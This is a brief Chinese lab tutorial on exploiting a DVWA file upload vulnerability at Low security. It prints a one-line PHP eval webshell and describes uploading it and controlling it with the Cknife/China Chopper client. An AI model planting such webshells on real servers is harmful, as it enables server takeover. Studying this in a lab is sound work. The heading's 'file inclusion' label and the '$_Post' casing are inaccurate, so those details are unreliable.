1. 文件包含(File Upload)漏洞简介
(1)文件上传
File Upload,即文件上传漏洞,通常是由于对上传文件的类型、内容没有进行严格的过滤、检查,使得攻击者可以通过上传木马获取服务器的webshell权限;
这里上传的文件可以是木马,病毒,恶意脚本等。这种攻击方式是最为直接和有效的,“文件上传”本身没有问题,有问题的是文件上传后,服务器怎么处理、解释文件。如果服务器的处理逻辑做的不够安全,则会导致严重的后果;
(2)文件上传漏洞的前提条件
能上传木马
上传的木马能执行
还要清楚上传后的路径
2. 文件上传(File Upload)
实验环境
(1)Windows服务器:Windows Server 2003,IP地址:192.168.37.136;
(2) Linux服务器:192.168.37.135
(3) 测试机:Windows7物理机(开启代理,代理服务器为burpsuite)
(4) 工具:抓包工具:Burpsuite; 中国菜刀:Cknife
实验过程——Windows
安全级别:Low
(1)设置安全级别
(2)查看源码
(3)源码分析
basename(path,suffix) 函数返回路径中的文件名部分。Path是必须参数,规定要检查的路径;suffix是可选参数,规定文件的扩展名,如果文件有 suffix,则不会输出这个扩展名;
服务器对用户上传的文件没有做筛选和检查
生成上传路径后,服务器会检查是否上传成功;
(4)实验操作
4.1> 上传一句话木马(low.php)
<?php @eval($_Post[cmd]);?>
木马文件上传的路径为:http://192.168.37.136/DVWA/hackable/uploads/low.php
4.2> 使用中国菜刀查询,获取webshell权限